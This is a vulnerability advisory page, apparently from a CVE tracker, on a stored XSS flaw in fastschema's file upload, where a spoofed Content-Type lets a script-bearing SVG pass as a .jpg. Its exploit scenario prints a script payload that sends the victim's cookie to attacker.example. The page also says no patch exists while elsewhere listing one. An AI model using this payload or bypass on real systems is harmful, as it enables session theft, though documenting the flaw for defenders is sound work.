Skip to main content

fastschema CVE-2026-72583

| EUVDEUVD-2026-55223 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-10 TuranSec GHSA-6vrh-w6p3-v6fh
5.4
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privileged fastschema user
  2. Delivery
    Craft SVG with embedded JavaScript payload
  3. Exploit
    Rename SVG to .jpg and upload with spoofed image/svg+xml Content-Type
  4. Install
    PutMultipart stores script-bearing SVG in web root
  5. C2
    Deliver file URL to privileged victim user
  6. Execute
    Victim browser renders SVG inline
  7. Impact
    Malicious JavaScript executes in victim's authenticated session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid fastschema account with file-upload privileges - the CVSS PR:L metric confirms that a low-privileged authenticated session is the minimum requirement, meaning anonymous exploitation is not possible. The attacker must supply a Content-Type header of image/svg+xml (or any SVG-equivalent MIME type on the allow-list) while uploading a file with a non-SVG extension such as .jpg; this is the specific bypass condition enabled by the PutMultipart function's reliance on the client-controlled header rather than file-content inspection. A second prerequisite is that a separate user (typically higher-privileged) must navigate to the stored file's URL for script execution to occur - the CVSS UI:R metric reflects this required victim interaction. Exploitation is bounded by: (1) no unauthenticated path - a valid low-privilege account is mandatory; (2) the SVG payload only executes when the victim's browser fetches and renders the file directly from origin, so Content-Disposition: attachment headers or CSP restrictions on the serving path would neutralize the attack even if the file is stored; (3) impact is confined to the victim's browser session context - no server-side code execution is involved.

Impact

The NVD CVSS 3.1 score of 5.4 (Medium) reflects AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - network reachable, low complexity, authenticated low-privilege attacker, victim interaction required, scope change, limited direct C and I impact. The scope change (S:C) is the critical signal: the injected script executes in the victim's browser session, meaning an attacker could exfiltrate administrator session tokens or perform authenticated actions on behalf of a privileged user, substantially amplifying effective impact beyond the base score. EPSS data is not available in the provided intelligence, so exploitation probability cannot be quantified. The vulnerability is not listed in the CISA KEV catalog and no public exploit code has been identified at time of analysis. Attack complexity is genuinely low - no race conditions, heap grooming, or chained vulnerabilities are required; any authenticated user with upload access can trigger the bypass. The limiting factors - required authenticated account and required victim interaction (UI:R) - are meaningful mitigations in restricted-access deployments but negligible in platforms where user self-registration or contributor roles are common. No conflicting signals exist between the description and CVSS vector.

Exploit ScenarioDerived

An authenticated contributor-level user crafts an SVG file containing <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, renames it to profile_photo.jpg, and uploads it to fastschema while setting the HTTP Content-Type header to image/svg+xml. The PutMultipart function accepts the file based on the spoofed header and persists it in the web root. The attacker then shares or embeds the file's public URL in content visible to an administrator; when the administrator visits the URL, the browser renders the SVG and executes the JavaScript, forwarding the administrator's session cookie to the attacker's server.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Stored XSS in fastschema through v0.15.1 permits any low-privileged authenticated user to store a script-bearing SVG file in the application's web root by spoofing the HTTP Content-Type header during upload. The root cause is that the PutMultipart function in pkg/rclonefs/base.go trusts the client-supplied Content-Type value rather than inspecting actual file bytes, allowing an attacker to rename an SVG to .jpg while declaring image/svg+xml and fully bypass the MIME allow-list. When a privileged user later browses to the stored file URL, the browser renders the SVG and executes the embedded JavaScript in that user's session context - a scope-changing impact that elevates the real-world risk above what the medium CVSS score alone suggests. No public exploit has been identified at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis; operators should monitor the upstream repository at https://github.com/fastschema/fastschema and the pkg/rclonefs/base.go file for a commit addressing client-controlled Content-Type trust. The most targeted interim fix is to replace header-based MIME validation with server-side content inspection using Go's net/http.DetectContentType or a dedicated library such as h2non/filetype, which reads file magic bytes regardless of the declared header - this directly eliminates the bypass while preserving upload functionality. As an additional compensating control, restrict the file-upload role to explicitly trusted accounts to reduce the population of users who can reach the vulnerable code path; note this does not eliminate the flaw for any account that retains upload access. Configure the web server serving uploaded files to emit Content-Disposition: attachment and a strict Content-Security-Policy (e.g., default-src 'none') on the upload-serving path to prevent browsers from rendering SVG inline even if a malicious file is stored - this breaks the XSS chain without requiring application changes. If SVG upload support is not required by the application, blocking .svg uploads and rejecting image/svg+xml Content-Type declarations at the application or WAF layer is the lowest-risk workaround with no functional side effects for non-SVG workflows.

Affected VersionsENISA

fastschema 0 <0.15.1

Affected Packages

euvd fastschema fix: 0.15.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

fastschema is a Go-based content management and schema framework; the upload path is handled by pkg/rclonefs/base.go via the PutMultipart function, which is responsible for validating and persisting multipart file uploads. The validation logic interrogates the Content-Type HTTP header supplied by the uploading client rather than performing file-content inspection (magic-byte analysis). SVG is an XML-based image format that natively supports embedded <script> elements and JavaScript event handlers (e.g., onload, onerror), making it a well-established stored XSS vector when served from origin. CWE-79 (Improper Neutralization of Input During Web Page Generation) covers this class of flaw - the application neither sanitizes the SVG payload nor enforces content inspection to confirm the file matches its declared or stored type. The CPE cpe:2.3:a:fastschema:fastschema:*:*:*:*:*:*:*:* spans all releases up to and including v0.15.1 as the affected range.

Know when Fastschema gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

PR:L confirmed by requirement for authenticated upload account; UI:R because victim must open the file; S:C as script executes in victim's distinct browser session context.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Aug 10, 2026 - 12:17 EUVD

DescriptionCVE.org

A stored cross-site scripting (XSS) vulnerability in fastschema through v0.15.1 allows a low-privileged authenticated user to upload an SVG file containing malicious JavaScript by bypassing the MIME type allow-list check. The pkg/rclonefs/base.go PutMultipart function validates the Content-Type header supplied by the client rather than inspecting the actual file content, enabling an attacker to rename a file to .jpg while specifying image/svg+xml to bypass the filter and store a script-bearing SVG in the web root.

Threat Intelligence Overview

EPSS Score
0.1%
Top 95% exploitable
Prevalence
Rare
niche Go CMS framework with limited enterprise adoption
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy